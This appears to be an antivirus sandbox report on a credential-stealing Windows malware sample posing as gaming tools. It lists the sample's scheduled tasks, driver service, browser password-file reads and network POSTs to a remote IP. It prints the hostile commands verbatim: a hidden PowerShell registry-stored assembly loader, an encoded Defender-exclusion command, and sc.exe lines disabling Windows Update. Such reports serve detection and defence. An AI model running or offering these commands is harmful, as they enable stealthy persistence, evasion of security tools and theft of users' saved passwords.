Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\dialersvc32
- <SYSTEM32>\tasks\dialersvc64
- %WINDIR%\tasks\dialersvc32.job
- %WINDIR%\tasks\dialersvc64.job
- <SYSTEM32>\tasks\googleupdatetaskmachineqc
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%APPDATA%\Google\Libs\WR64.sys'
Creates the following services
- 'WinRing0_1_2_0' %APPDATA%\Google\Libs\WR64.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
Injects code into
the following system processes:
- <SYSTEM32>\reg.exe
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %APPDATA%\opera software\opera stable\login data
- %HOMEPATH%\desktop\508softwareandos.doc
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
- %HOMEPATH%\desktop\hadac_newsletter_july_2010_final.docx
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
- %HOMEPATH%\desktop\weeklysheet1215.doc
Modifies file system
Creates the following files
- %TEMP%\rarsfx0\galaxy.swapper.exe
- %TEMP%\tmp5cca.tmp
- %TEMP%\tmp5c6b.tmp
- %TEMP%\tmp5c6a.tmp
- %TEMP%\tmp5c5a.tmp
- %TEMP%\tmp5c49.tmp
- %TEMP%\tmp5c48.tmp
- %TEMP%\tmp5ccb.tmp
- %TEMP%\tmp5c38.tmp
- %TEMP%\tmp5bf7.tmp
- %TEMP%\tmp5bc7.tmp
- %TEMP%\tmp5ba7.tmp
- %TEMP%\tmp5b97.tmp
- %TEMP%\tmp5b96.tmp
- %TEMP%\tmp5b85.tmp
- %TEMP%\tmp5c08.tmp
- %TEMP%\tmp6241.tmp
- %TEMP%\tmp93a6.tmp
- %TEMP%\tmp618f.tmp
- %TEMP%\tmp9376.tmp
- %TEMP%\tmp9356.tmp
- %TEMP%\tmp9355.tmp
- %TEMP%\tmp9325.tmp
- %TEMP%\tmp92f5.tmp
- %TEMP%\tmp92e4.tmp
- %TEMP%\tmp5b74.tmp
- %TEMP%\tmp92c4.tmp
- %TEMP%\tmp6221.tmp
- %TEMP%\tmp6211.tmp
- %TEMP%\tmp61e1.tmp
- %TEMP%\tmp61d0.tmp
- %TEMP%\tmp61c0.tmp
- %TEMP%\tmp61af.tmp
- %TEMP%\tmp5d49.tmp
- %TEMP%\tmp5d69.tmp
- %TEMP%\tmp5b64.tmp
- %TEMP%\tmp5920.tmp
- %TEMP%\tmp58df.tmp
- %TEMP%\tmp58af.tmp
- %TEMP%\tmp58ae.tmp
- %TEMP%\tmp588e.tmp
- %TEMP%\tmp588d.tmp
- %TEMP%\tmp585d.tmp
- %TEMP%\tmp58e0.tmp
- %TEMP%\tmp582d.tmp
- %TEMP%\rarsfx1\spufer.exe
- %TEMP%\rarsfx1\fps booster.exe
- %TEMP%\rarsfx0\oo2core_8_win64.dll
- %TEMP%\rarsfx0\fps booster.exe
- %TEMP%\rarsfx0\spuffer.bat
- %TEMP%\rarsfx0\update.exe
- %TEMP%\rarsfx1\galaxy.swapper.exe
- %TEMP%\tmp59b5.tmp
- %TEMP%\tmp5b23.tmp
- %TEMP%\tmp5931.tmp
- %TEMP%\tmp5ac5.tmp
- %TEMP%\tmp5aa5.tmp
- %TEMP%\tmp5aa4.tmp
- %TEMP%\tmp5a83.tmp
- %TEMP%\tmp5a73.tmp
- %TEMP%\tmp5a53.tmp
- %TEMP%\tmp5b34.tmp
- %TEMP%\tmp5a23.tmp
- %TEMP%\tmp5994.tmp
- %TEMP%\tmp5984.tmp
- %TEMP%\tmp5954.tmp
- %TEMP%\tmp5943.tmp
- %TEMP%\tmp5942.tmp
- %TEMP%\tmp5932.tmp
- %TEMP%\tmp5910.tmp
- %TEMP%\tmp93a7.tmp
Deletes the following files
- %TEMP%\tmp585d.tmp
- %TEMP%\tmp5c48.tmp
- %TEMP%\tmp5c38.tmp
- %TEMP%\tmp5c5a.tmp
- %TEMP%\tmp5c49.tmp
- %TEMP%\tmp5c6b.tmp
- %TEMP%\tmp5c6a.tmp
- %TEMP%\tmp5ccb.tmp
- %TEMP%\tmp5cca.tmp
- %TEMP%\tmp5d69.tmp
- %TEMP%\tmp5d49.tmp
- %TEMP%\tmp618f.tmp
- %TEMP%\tmp61af.tmp
- %TEMP%\tmp61c0.tmp
- %TEMP%\tmp59b5.tmp
- %TEMP%\tmp61d0.tmp
- %TEMP%\tmp6211.tmp
- %TEMP%\tmp6221.tmp
- %TEMP%\tmp6241.tmp
- %TEMP%\tmp92c4.tmp
- %TEMP%\tmp92e4.tmp
- %TEMP%\tmp92f5.tmp
- %TEMP%\tmp9325.tmp
- %TEMP%\tmp9355.tmp
- %TEMP%\tmp9356.tmp
- %TEMP%\tmp9376.tmp
- %TEMP%\tmp93a6.tmp
- %TEMP%\tmp93a7.tmp
- %TEMP%\rarsfx1\fps booster.exe
- %TEMP%\tmp5c08.tmp
- %TEMP%\tmp5bf7.tmp
- %TEMP%\tmp5ba7.tmp
- %TEMP%\tmp5bc7.tmp
- %TEMP%\tmp5b96.tmp
- %TEMP%\tmp588e.tmp
- %TEMP%\tmp588d.tmp
- %TEMP%\tmp58af.tmp
- %TEMP%\tmp58ae.tmp
- %TEMP%\tmp58e0.tmp
- %TEMP%\tmp58df.tmp
- %TEMP%\tmp5920.tmp
- %TEMP%\tmp5910.tmp
- %TEMP%\tmp5932.tmp
- %TEMP%\tmp5931.tmp
- %TEMP%\tmp5943.tmp
- %TEMP%\tmp5942.tmp
- %TEMP%\tmp5984.tmp
- %TEMP%\rarsfx1\galaxy.swapper.exe
- %TEMP%\tmp61e1.tmp
- %TEMP%\tmp5954.tmp
- %TEMP%\tmp5a53.tmp
- %TEMP%\tmp5a23.tmp
- %TEMP%\tmp5a83.tmp
- %TEMP%\tmp5a73.tmp
- %TEMP%\tmp5aa5.tmp
- %TEMP%\tmp5aa4.tmp
- %TEMP%\tmp5b23.tmp
- %TEMP%\tmp5ac5.tmp
- %TEMP%\tmp5b64.tmp
- %TEMP%\tmp5b34.tmp
- %TEMP%\tmp5b85.tmp
- %TEMP%\tmp5b74.tmp
- %TEMP%\tmp5b97.tmp
- %TEMP%\tmp582d.tmp
- %TEMP%\tmp5994.tmp
- %TEMP%\rarsfx1\spufer.exe
Network activity
Connects to
- '45.##.226.240':11380
- 'ap#.ip.sb':443
- 'po##.#ashvault.pro':80
TCP
HTTP POST requests
- http://45.##.226.240:11380/ via 45.##.226.240
Other
- 'ap#.ip.sb':443
- 'po##.#ashvault.pro':80
UDP
- DNS ASK ap#.ip.sb
- DNS ASK po##.#ashvault.pro
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%TEMP%\rarsfx0\update.exe' -pFHQFF36t43y4e3r5t62435rt
- '%TEMP%\rarsfx0\galaxy.swapper.exe'
- '%TEMP%\rarsfx1\galaxy.swapper.exe'
- '%TEMP%\rarsfx1\spufer.exe'
- '%TEMP%\chrome\updater.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\RarSFX0\Spuffer.bat" "
- '<SYSTEM32>\sc.exe' failure UsoSvc reset= 0 actions= ""
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled
- '<SYSTEM32>\sc.exe' failure dosvc reset= 0 actions= ""
- '<SYSTEM32>\sc.exe' config dosvc start= disabled
- '<SYSTEM32>\sc.exe' failure bits reset= 0 actions= ""
- '<SYSTEM32>\sc.exe' config bits start= disabled
- '<SYSTEM32>\sc.exe' failure wuauserv reset= 0 actions= ""
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHoAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHAAeAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQA...
- '<SYSTEM32>\dllhost.exe' /Processid:{9ac52116-eb5a-41e6-8ea0-f58d8ad73f0f}
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
- '<SYSTEM32>\takeown.exe' /f C:\\Windows\\System32\\WaaSMedicSvc.dll
- '<SYSTEM32>\icacls.exe' C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
